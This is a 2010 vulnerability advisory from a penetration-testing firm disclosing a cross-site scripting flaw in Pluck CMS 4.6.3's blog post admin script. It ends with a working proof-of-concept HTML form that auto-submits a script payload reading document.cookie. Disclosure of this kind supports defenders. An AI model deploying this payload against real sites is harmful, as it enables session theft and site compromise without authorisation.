XSS vulnerability in Pluck

Vulnerability ID: HTB22610
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluck.html
Product: Pluck
Vendor: Pluck Team ( http://www.pluck-cms.org )
Vulnerable Version: 4.6.3 and probably prior versions
Vendor Notification: 15 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "data/modules/blog/pages_admin/newpost.php" script to properly sanitize user-supplied input in "cont1" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?module=blog&amp;page=newpost&quot; method="post" name="main" >

<input type="hidden" name="cont1" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="cont2" value="no category" />
<input type="hidden" name="cont3" value="" />
<input type="submit" id="btn" name="Submit" value="Save" />

</form>
<script>
document.getElementById('btn').click();
</script>